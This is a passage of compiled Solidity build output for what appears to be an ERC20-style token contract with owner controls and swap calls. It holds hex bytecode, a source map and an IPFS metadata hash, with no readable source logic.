565b5b6000611a468582860161188c565b9250506020611a578582860161188c565b9150509250929050565b6000819050919050565b6000611a86611a81611a7c84611843565b611a61565b611843565b9050919050565b6000611a9882611a6b565b9050919050565b6000611aaa82611a8d565b9050919050565b611aba81611a9f565b82525050565b6000602082019050611ad56000830184611ab1565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611b2257607f821691505b602082108103611b3557611b34611adb565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611b75826118a1565b9150611b80836118a1565b9250828203905081811115611b9857611b97611b3b565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611bd4602083611797565b9150611bdf82611b9e565b602082019050919050565b60006020820190508181036000830152611c0381611bc7565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611c66602683611797565b9150611c7182611c0a565b604082019050919050565b60006020820190508181036000830152611c9581611c59565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611cf8602483611797565b9150611d0382611c9c565b604082019050919050565b60006020820190508181036000830152611d2781611ceb565b9050919050565b6000611d39826118a1565b9150611d44836118a1565b9250828201905080821115611d5c57611d5b611b3b565b5b92915050565b6000611d6d826118a1565b9150611d78836118a1565b9250828202611d86816118a1565b91508282048414831517611d9d57611d9c611b3b565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611dde826118a1565b9150611de9836118a1565b925082611df957611df8611da4565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050611e7181611875565b92915050565b600060208284031215611e8d57611e8c61183e565b5b6000611e9b84828501611e62565b91505092915050565b6000819050919050565b6000611ec9611ec4611ebf84611ea4565b611a61565b6118a1565b9050919050565b611ed981611eae565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611f1481611863565b82525050565b6000611f268383611f0b565b60208301905092915050565b6000602082019050919050565b6000611f4a82611edf565b611f548185611eea565b9350611f5f83611efb565b8060005b83811015611f90578151611f778882611f1a565b9750611f8283611f32565b925050600181019050611f63565b5085935050505092915050565b600060a082019050611fb2600083018861194d565b611fbf6020830187611ed0565b8181036040830152611fd18186611f3f565b9050611fe060608301856119ca565b611fed608083018461194d565b9695505050505050565b600060c08201905061200c60008301896119ca565b612019602083018861194d565b6120266040830187611ed0565b6120336060830186611ed0565b61204060808301856119ca565b61204d60a083018461194d565b979650505050505050565b600081519050612067816118ab565b92915050565b6000806000606084860312156120865761208561183e565b5b600061209486828701612058565b93505060206120a586828701612058565b92505060406120b686828701612058565b915050925092509256fea264697066735822122089c0c4459da999ff570df725eac349f5996a84173b020bdc196e9e320a34c7df64736f6c63430008110033

11846:5433:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13188:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13726:137;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13279:86;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14228:274;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13373:85;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11942:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12476:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13608:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11217:94;;;;;;;;;;;;;:::i;:::-;;10566:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13093;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14510:158;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13466:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11466:192;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12521:42;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13188:83;13225:13;13258:5;13251:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13188:83;:::o;13726:137::-;13794:4;13818:37;13827:10;13839:7;13848:6;13818:8;:37::i;:::-;13811:44;;13726:137;;;;:::o;13279:86::-;13323:7;13350;;13343:14;;13279:86;:::o;14228:274::-;14353:4;14370:36;14380:6;14388:9;14399:6;14370:9;:36::i;:::-;14424:70;14433:6;14441:10;14487:6;14453:11;:19;14465:6;14453:19;;;;;;;;;;;;;;;:31;14473:10;14453:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;14424:8;:70::i;:::-;14417:77;;14228:274;;;;;:::o;13373:85::-;13414:7;13441:9;;;;;;;;;;;13434:16;;;;13373:85;:::o;11942:26::-;;;;:::o;12476:38::-;;;:::o;13608:110::-;13665:7;13692:9;:18;13702:7;13692:18;;;;;;;;;;;;;;;;13685:25;;13608:110;;;:::o;11217:94::-;10797:12;:10;:12::i;:::-;10786:23;;:7;:5;:7::i;:::-;:23;;;10778:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11282:21:::1;11300:1;11282:9;:21::i;:::-;11217:94::o:0;10566:87::-;10612:7;10639:6;;;;;;;;;;;10632:13;;10566:87;:::o;13093:::-;13132:13;13165:7;13158:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13093:87;:::o;14510:158::-;14581:4;14598:40;14608:10;14620:9;14631:6;14598:9;:40::i;:::-;14656:4;14649:11;;14510:158;;;;:::o;13466:134::-;13538:7;13565:11;:18;13577:5;13565:18;;;;;;;;;;;;;;;:27;13584:7;13565:27;;;;;;;;;;;;;;;;13558:34;;13466:134;;;;:::o;11466:192::-;10797:12;:10;:12::i;:::-;10786:23;;:7;:5;:7::i;:::-;:23;;;10778:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11575:1:::1;11555:22;;:8;:22;;::::0;11547:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;11631:19;11641:8;11631:9;:19::i;:::-;11466:192:::0;:::o;12521:42::-;;;:::o;13871:352::-;13988:4;14030:1;14013:19;;:5;:19;;;;:44;;;;;14055:1;14036:21;;:7;:21;;;;14013:44;14005:93;;;;;;;;;;;;:::i;:::-;;;;;;;;;14139:6;14109:11;:18;14121:5;14109:18;;;;;;;;;;;;;;;:27;14128:7;14109:27;;;;;;;;;;;;;;;:36;;;;14177:7;14161:32;;14170:5;14161:32;;;14186:6;14161:32;;;;;;:::i;:::-;;;;;;;;14211:4;14204:11;;13871:352;;;;;:::o;14676:1553::-;14790:28;14821:24;14839:4;14821:9;:24::i;:::-;14790:55;;14856:11;14882:22;;;;;;;;;;;:57;;;;;14931:8;;14908:20;:31;14882:57;:78;;;;;14944:16;;;;;;;;;;;14943:17;14882:78;:103;;;;;14972:13;14964:21;;:4;:21;;;;14882:103;14878:812;;;15021:4;15002:16;;:23;;;;;;;;;;;;;;;;;;15040:36;15055:20;15040:14;:36::i;:::-;15110:5;15091:16;;:24;;;;;;;;;;;;;;;;;;14878:812;;;15155:8;;15137:9;:15;15147:4;15137:15;;;;;;;;;;;;;;;;:26;:54;;;;;15183:8;;15167:9;:13;15177:2;15167:13;;;;;;;;;;;;;;;;:24;15137:54;15133:557;;;15214:6;15208:12;;15263:3;15235:9;:24;15253:4;15235:24;;;;;;;;;;;;;;;;:31;;;;;;;:::i;:::-;;;;;;;;15281:28;15298:6;15306:2;15281:16;:28::i;:::-;15324:7;;;;15133:557;15366:6;15352:21;;:2;:21;;;;:44;;;;;15395:1;15377:9;:15;15387:4;15377:15;;;;;;;;;;;;;;;;:19;15352:44;:65;;;;;15409:8;;15400:6;:17;15352:65;:88;;;;;15427:13;15421:19;;:2;:19;;;;15352:88;15348:342;;;15473:6;15457:9;:13;15467:2;15457:13;;;;;;;;;;;;;;;:22;;;;15494:7;;;;15348:342;15523:16;;;;;;;;;;;15522:17;:43;;;;;15564:1;15543:12;:18;15556:4;15543:18;;;;;;;;;;;;;;;;:22;15522:43;:68;;;;;15577:13;15569:21;;:4;:21;;;;15522:68;:92;;;;;15613:1;15594:9;:15;15604:4;15594:15;;;;;;;;;;;;;;;;:20;15522:92;15518:172;;;15670:8;;15652:9;:15;15662:4;15652:15;;;;;;;;;;;;;;;;:26;;;;:::i;:::-;15631:12;:18;15644:4;15631:18;;;;;;;;;;;;;;;:47;;;;15518:172;14878:812;15700:13;15716:7;:22;15724:13;15716:22;;;;;;;;;;;;;;;;;;;;;;;;;15700:38;;15776:1;15753:12;:19;15766:5;15753:19;;;;;;;;;;;;;;;;:24;15749:60;;15801:8;;15779:12;:19;15792:5;15779:19;;;;;;;;;;;;;;;:30;;;;15749:60;15845:2;15820:7;:22;15828:13;15820:22;;;;;;;;;;;;;;;;:27;;;;;;;;;;;;;;;;;;15872:1;15862:7;;:11;:35;;;;;15896:1;15877:9;:15;15887:4;15877:15;;;;;;;;;;;;;;;;:20;15862:35;:56;;;;;15902:16;;;;;;;;;;;15901:17;15862:56;:78;;;;;15939:1;15922:9;:13;15932:2;15922:13;;;;;;;;;;;;;;;;:18;15862:78;15858:252;;;15984:3;15973:7;;15964:6;:16;;;;:::i;:::-;15963:24;;;;:::i;:::-;15957:30;;16012:3;16002:13;;;;;:::i;:::-;;;16049:3;16030:9;:15;16040:4;16030:15;;;;;;;;;;;;;;;;:22;;;;;;;:::i;:::-;;;;;;;;16095:3;16067:9;:24;16085:4;16067:24;;;;;;;;;;;;;;;;:31;;;;;;;:::i;:::-;;;;;;;;15858:252;16139:6;16120:9;:15;16130:4;16120:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;16173:6;16156:9;:13;16166:2;16156:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;16210:2;16195:26;;16204:4;16195:26;;;16214:6;16195:26;;;;;;:::i;:::-;;;;;;;;14779:1450;;;14676:1553;;;;:::o;9385:98::-;9438:7;9465:10;9458:17;;9385:98;:::o;11666:173::-;11722:16;11741:6;;;;;;;;;;;11722:25;;11767:8;11758:6;;:17;;;;;;;;;;;;;;;;;;11822:8;11791:40;;11812:8;11791:40;;;;;;;;;;;;11711:128;11666:173;:::o;16576:323::-;16635:12;16659:1;16650:6;:10;;;;:::i;:::-;16635:25;;16671:22;16696:21;16671:46;;16728:37;16745:4;16759;16728:16;:37::i;:::-;16776:18;16821:14;16797:21;:38;;;;:::i;:::-;16776:59;;16846:45;16859:4;16865:10;16885:4;16846:12;:45::i;:::-;16624:275;;;16576:323;:::o;16907:369::-;16985:21;17023:1;17009:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16985:40;;17054:4;17036;17041:1;17036:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;17080:6;:11;;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;17070:4;17075:1;17070:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;17104:53;17121:4;17136:6;17145:11;17104:8;:53::i;:::-;;17168:6;:57;;;17226:11;17239:1;17242:4;17248:2;17252:15;17168:100;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16974:302;16907:369;;:::o;16274:294::-;16401:53;16418:4;16433:6;16442:11;16401:8;:53::i;:::-;;16465:6;:22;;;16495:9;16514:4;16521:11;16534:1;16537;16540:2;16544:15;16465:95;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;16274:294;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:118::-;4510:24;4528:5;4510:24;:::i;:::-;4505:3;4498:37;4423:118;;:::o;4547:222::-;4640:4;4678:2;4667:9;4663:18;4655:26;;4691:71;4759:1;4748:9;4744:17;4735:6;4691:71;:::i;:::-;4547:222;;;;:::o;4775:329::-;4834:6;4883:2;4871:9;4862:7;4858:23;4854:32;4851:119;;;4889:79;;:::i;:::-;4851:119;5009:1;5034:53;5079:7;5070:6;5059:9;5055:22;5034:53;:::i;:::-;5024:63;;4980:117;4775:329;;;;:::o;5110:474::-;5178:6;5186;5235:2;5223:9;5214:7;5210:23;5206:32;5203:119;;;5241:79;;:::i;:::-;5203:119;5361:1;5386:53;5431:7;5422:6;5411:9;5407:22;5386:53;:::i;:::-;5376:63;;5332:117;5488:2;5514:53;5559:7;5550:6;5539:9;5535:22;5514:53;:::i;:::-;5504:63;;5459:118;5110:474;;;;;:::o;5590:60::-;5618:3;5639:5;5632:12;;5590:60;;;:::o;5656:142::-;5706:9;5739:53;5757:34;5766:24;5784:5;5766:24;:::i;:::-;5757:34;:::i;:::-;5739:53;:::i;:::-;5726:66;;5656:142;;;:::o;5804:126::-;5854:9;5887:37;5918:5;5887:37;:::i;:::-;5874:50;;5804:126;;;:::o;5936:152::-;6012:9;6045:37;6076:5;6045:37;:::i;:::-;6032:50;;5936:152;;;:::o;6094:183::-;6207:63;6264:5;6207:63;:::i;:::-;6202:3;6195:76;6094:183;;:::o;6283:274::-;6402:4;6440:2;6429:9;6425:18;6417:26;;6453:97;6547:1;6536:9;6532:17;6523:6;6453:97;:::i;:::-;6283:274;;;;:::o;6563:180::-;6611:77;6608:1;6601:88;6708:4;6705:1;6698:15;6732:4;6729:1;6722:15;6749:320;6793:6;6830:1;6824:4;6820:12;6810:22;;6877:1;6871:4;6867:12;6898:18;6888:81;;6954:4;6946:6;6942:17;6932:27;;6888:81;7016:2;7008:6;7005:14;6985:18;6982:38;6979:84;;7035:18;;:::i;:::-;6979:84;6800:269;6749:320;;;:::o;7075:180::-;7123:77;7120:1;7113:88;7220:4;7217:1;7210:15;7244:4;7241:1;7234:15;7261:194;7301:4;7321:20;7339:1;7321:20;:::i;:::-;7316:25;;7355:20;7373:1;7355:20;:::i;:::-;7350:25;;7399:1;7396;7392:9;7384:17;;7423:1;7417:4;7414:11;7411:37;;;7428:18;;:::i;:::-;7411:37;7261:194;;;;:::o;7461:182::-;7601:34;7597:1;7589:6;7585:14;7578:58;7461:182;:::o;7649:366::-;7791:3;7812:67;7876:2;7871:3;7812:67;:::i;:::-;7805:74;;7888:93;7977:3;7888:93;:::i;:::-;8006:2;8001:3;7997:12;7990:19;;7649:366;;;:::o;8021:419::-;8187:4;8225:2;8214:9;8210:18;8202:26;;8274:9;8268:4;8264:20;8260:1;8249:9;8245:17;8238:47;8302:131;8428:4;8302:131;:::i;:::-;8294:139;;8021:419;;;:::o;8446:225::-;8586:34;8582:1;8574:6;8570:14;8563:58;8655:8;8650:2;8642:6;8638:15;8631:33;8446:225;:::o;8677:366::-;8819:3;8840:67;8904:2;8899:3;8840:67;:::i;:::-;8833:74;;8916:93;9005:3;8916:93;:::i;:::-;9034:2;9029:3;9025:12;9018:19;;8677:366;;;:::o;9049:419::-;9215:4;9253:2;9242:9;9238:18;9230:26;;9302:9;9296:4;9292:20;9288:1;9277:9;9273:17;9266:47;9330:131;9456:4;9330:131;:::i;:::-;9322:139;;9049:419;;;:::o;9474:223::-;9614:34;9610:1;9602:6;9598:14;9591:58;9683:6;9678:2;9670:6;9666:15;9659:31;9474:223;:::o;9703:366::-;9845:3;9866:67;9930:2;9925:3;9866:67;:::i;:::-;9859:74;;9942:93;10031:3;9942:93;:::i;:::-;10060:2;10055:3;10051:12;10044:19;;9703:366;;;:::o;10075:419::-;10241:4;10279:2;10268:9;10264:18;10256:26;;10328:9;10322:4;10318:20;10314:1;10303:9;10299:17;10292:47;10356:131;10482:4;10356:131;:::i;:::-;10348:139;;10075:419;;;:::o;10500:191::-;10540:3;10559:20;10577:1;10559:20;:::i;:::-;10554:25;;10593:20;10611:1;10593:20;:::i;:::-;10588:25;;10636:1;10633;10629:9;10622:16;;10657:3;10654:1;10651:10;10648:36;;;10664:18;;:::i;:::-;10648:36;10500:191;;;;:::o;10697:410::-;10737:7;10760:20;10778:1;10760:20;:::i;:::-;10755:25;;10794:20;10812:1;10794:20;:::i;:::-;10789:25;;10849:1;10846;10842:9;10871:30;10889:11;10871:30;:::i;:::-;10860:41;;11050:1;11041:7;11037:15;11034:1;11031:22;11011:1;11004:9;10984:83;10961:139;;11080:18;;:::i;:::-;10961:139;10745:362;10697:410;;;;:::o;11113:180::-;11161:77;11158:1;11151:88;11258:4;11255:1;11248:15;11282:4;11279:1;11272:15;11299:185;11339:1;11356:20;11374:1;11356:20;:::i;:::-;11351:25;;11390:20;11408:1;11390:20;:::i;:::-;11385:25;;11429:1;11419:35;;11434:18;;:::i;:::-;11419:35;11476:1;11473;11469:9;11464:14;;11299:185;;;;:::o;11490:180::-;11538:77;11535:1;11528:88;11635:4;11632:1;11625:15;11659:4;11656:1;11649:15;11676:180;11724:77;11721:1;11714:88;11821:4;11818:1;11811:15;11845:4;11842:1;11835:15;11862:143;11919:5;11950:6;11944:13;11935:22;;11966:33;11993:5;11966:33;:::i;:::-;11862:143;;;;:::o;12011:351::-;12081:6;12130:2;12118:9;12109:7;12105:23;12101:32;12098:119;;;12136:79;;:::i;:::-;12098:119;12256:1;12281:64;12337:7;12328:6;12317:9;12313:22;12281:64;:::i;:::-;12271:74;;12227:128;12011:351;;;;:::o;12368:85::-;12413:7;12442:5;12431:16;;12368:85;;;:::o;12459:158::-;12517:9;12550:61;12568:42;12577:32;12603:5;12577:32;:::i;:::-;12568:42;:::i;:::-;12550:61;:::i;:::-;12537:74;;12459:158;;;:::o;12623:147::-;12718:45;12757:5;12718:45;:::i;:::-;12713:3;12706:58;12623:147;;:::o;12776:114::-;12843:6;12877:5;12871:12;12861:22;;12776:114;;;:::o;12896:184::-;12995:11;13029:6;13024:3;13017:19;13069:4;13064:3;13060:14;13045:29;;12896:184;;;;:::o;13086:132::-;13153:4;13176:3;13168:11;;13206:4;13201:3;13197:14;13189:22;;13086:132;;;:::o;13224:108::-;13301:24;13319:5;13301:24;:::i;:::-;13296:3;13289:37;13224:108;;:::o;13338:179::-;13407:10;13428:46;13470:3;13462:6;13428:46;:::i;:::-;13506:4;13501:3;13497:14;13483:28;;13338:179;;;;:::o;13523:113::-;13593:4;13625;13620:3;13616:14;13608:22;;13523:113;;;:::o;13672:732::-;13791:3;13820:54;13868:5;13820:54;:::i;:::-;13890:86;13969:6;13964:3;13890:86;:::i;:::-;13883:93;;14000:56;14050:5;14000:56;:::i;:::-;14079:7;14110:1;14095:284;14120:6;14117:1;14114:13;14095:284;;;14196:6;14190:13;14223:63;14282:3;14267:13;14223:63;:::i;:::-;14216:70;;14309:60;14362:6;14309:60;:::i;:::-;14299:70;;14155:224;14142:1;14139;14135:9;14130:14;;14095:284;;;14099:14;14395:3;14388:10;;13796:608;;;13672:732;;;;:::o;14410:831::-;14673:4;14711:3;14700:9;14696:19;14688:27;;14725:71;14793:1;14782:9;14778:17;14769:6;14725:71;:::i;:::-;14806:80;14882:2;14871:9;14867:18;14858:6;14806:80;:::i;:::-;14933:9;14927:4;14923:20;14918:2;14907:9;14903:18;14896:48;14961:108;15064:4;15055:6;14961:108;:::i;:::-;14953:116;;15079:72;15147:2;15136:9;15132:18;15123:6;15079:72;:::i;:::-;15161:73;15229:3;15218:9;15214:19;15205:6;15161:73;:::i;:::-;14410:831;;;;;;;;:::o;15247:807::-;15496:4;15534:3;15523:9;15519:19;15511:27;;15548:71;15616:1;15605:9;15601:17;15592:6;15548:71;:::i;:::-;15629:72;15697:2;15686:9;15682:18;15673:6;15629:72;:::i;:::-;15711:80;15787:2;15776:9;15772:18;15763:6;15711:80;:::i;:::-;15801;15877:2;15866:9;15862:18;15853:6;15801:80;:::i;:::-;15891:73;15959:3;15948:9;15944:19;15935:6;15891:73;:::i;:::-;15974;16042:3;16031:9;16027:19;16018:6;15974:73;:::i;:::-;15247:807;;;;;;;;;:::o;16060:143::-;16117:5;16148:6;16142:13;16133:22;;16164:33;16191:5;16164:33;:::i;:::-;16060:143;;;;:::o;16209:663::-;16297:6;16305;16313;16362:2;16350:9;16341:7;16337:23;16333:32;16330:119;;;16368:79;;:::i;:::-;16330:119;16488:1;16513:64;16569:7;16560:6;16549:9;16545:22;16513:64;:::i;:::-;16503:74;;16459:128;16626:2;16652:64;16708:7;16699:6;16688:9;16684:22;16652:64;:::i;:::-;16642:74;;16597:129;16765:2;16791:64;16847:7;16838:6;16827:9;16823:22;16791:64;:::i;:::-;16781:74;;16736:129;16209:663;;;;;:::o

ipfs://89c0c4459da999ff570df725eac349f5996a84173b020bdc196e9e320a34c7df